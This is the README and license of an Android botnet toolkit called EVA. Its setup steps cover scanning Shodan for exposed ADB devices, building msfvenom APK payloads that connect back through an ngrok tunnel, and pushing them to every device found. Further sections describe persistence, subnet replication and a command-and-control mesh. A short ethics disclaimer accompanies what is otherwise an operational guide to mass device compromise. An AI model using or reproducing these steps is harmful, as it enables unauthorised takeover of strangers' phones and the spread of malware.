readme
# EVA ADB Botnet

**Purpose:** Ethical cybersecurity research, mesh-based botnet exploration, long-term persistent control of Android devices via open ADB, and encrypted peer-to-peer botnet mesh command.
---
## Getting Started (Clone + Setup)
To install EVA on any Linux system:
### 1. Clone the repository
```bash
git clone https://github.com/ekomsSavior/Eva_adb_botnet.git
cd Eva_adb_botnet
````
### 2. Install dependencies
```bash
sudo apt update && sudo apt install -y android-tools-adb python3-pip metasploit-framework
pip3 install pycryptodome requests
mkdir -p bots
```
---
## Optional ADB Install (Manual Method)
If you're having issues with the packaged ADB:
```bash
sudo mkdir -p /opt/android-platform-tools
cd /opt/android-platform-tools
sudo wget https://dl.google.com/android/repository/platform-tools-latest-linux.zip
sudo unzip platform-tools-latest-linux.zip
sudo mv platform-tools/* .
sudo rm -r platform-tools platform-tools-latest-linux.zip
```
Then add ADB to your PATH permanently:
```bash
echo 'export PATH=$PATH:/opt/android-platform-tools' >> ~/.bashrc
source ~/.bashrc
```
---
## Ngrok Setup
EVA uses ngrok to forward ADB and payload ports publicly.
### 1. Download & install ngrok
```bash
cd ~/Eva_adb_botnet
wget https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-stable-linux-amd64.zip
unzip ngrok-stable-linux-amd64.zip
chmod +x ngrok
```
### 2. Add your ngrok auth token
```bash
./ngrok config add-authtoken <your_token_here>
```
### 3. Start a tunnel for your payload listener
```bash
./ngrok tcp 1337
```
Copy the **forwarded ngrok domain and port** — you’ll need them in the payload config below.
You will need a paid ngrok account for tcp comms. their basic personal dev membership is only $8 and completly worth it.
---
## One-Time Configuration (Before Launch)
### 1. Set your Shodan API key
Edit `adb_reaper.py` and replace this:
```python
SHODAN_API_KEY = 'YOUR_SHODAN_API_KEY'
```
---
### 2. Configure msfvenom payload generation
Edit `metasploit_launcher.py` (which now builds the payload using `msfvenom`):
```python
LHOST = "0.tcp.ngrok.io" # your forwarded ngrok domain
LPORT = "12345" # your forwarded port
OUTPUT = "adb_payload.apk" # payload filename
```
This file generates a ready-to-push APK payload.
---
### 3. Update payload path in dropper
Edit `adb_dropper.py`:
```python
ADB_PAYLOAD = "adb_payload.apk"
```
EVA will push this APK to every connected ADB device.
---
### 4. Set AES encryption key (optional but recommended)
Edit `jeangrey_crypto.py`:
```python
SECRET_KEY = b'ChangeThis16Byte!' # Use a secure 16-byte AES key
```
---

## Full Botnet Launch
```bash
python3 EVA_launcher.py
```
This will:
* Generate your payload via `msfvenom`
* Scan Shodan for exposed Android ADB targets
* Push the payload to infected devices
* Start encrypted mesh communication
* Begin peer discovery + replication
* Launch AI triggers + EVA Core
---
## View Active Bots
```bash
python3 eva_dashboard.py
```
* Shows IPs, tags, status
* Auto-refreshes every 3s
---
## Send Commands to Bots
```bash
python3 eva_core.py
```
Supported commands:
* `scan` – search nearby ADB devices
* `drop` – re-deploy payload
* `report` – show bot state
* `shutdown` – terminate a bot
---
## Autonomous AI Trigger Loop
```bash
python3 eva_ai_trigger.py
```
Bots will:
* Respond to mesh commands instantly
* Auto-scan, replicate, and report
* Operate continuously on mesh triggers
---
## Replication + Persistence
Bots will:
* Replicate to local subnet ADB devices
* Update `jeangrey_state.json` regularly
* Persist across reboot via `.bashrc`
Manual persistence install:
```bash
adb push jeangrey_persist.sh /sdcard/Download/
adb shell sh /sdcard/Download/jeangrey_persist.sh
```
---
## Bot Management
```bash
python3 state_editor.py
```
Allows you to:
* Rename bots
* Tag/untag
* View/edit JSON
* Delete infected nodes
---
## Directory Layout
```
Eva_adb_botnet/
├── EVA_launcher.py
├── metasploit_launcher.py ← Generates msfvenom payload
├── adb_dropper.py ← Pushes APK payload
├── adb_reaper.py ← Shodan scraper
├── eva_core.py ← Sends mesh commands
├── eva_ai_trigger.py ← Bot AI responder
├── eva_dashboard.py ← Live bot status viewer
├── jeangrey_android.py ← Bot implant logic
├── jeangrey_persist.sh ← Android persistence
├── jeangrey_crypto.py
├── jeangrey_mesh.py
├── jeangrey_replication.py
├── jeangrey_tunnel.py
├── jeangrey_injector.py
├── state_editor.py
├── ngrok
└── bots/
└── bot_<ip>/
└── jeangrey_state.json
```
---
## ⚠️ Legal & Ethical Notice
EVA is a research framework designed for:
* Educational use
* Controlled environments
* Enviroments you have permission to test on.
**Do not deploy against unauthorized targets. Misuse may be illegal. You are responsible.**
---
## Vision
EVA is not just a botnet — she's a **mesh-aware framework**.
She replicates. She listens. She obeys.
license
MIT License
Copyright (c) 2026 ek0mssavi0r
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
USE AT YOUR OWN RISK. NO WARRANTY PROVIDED.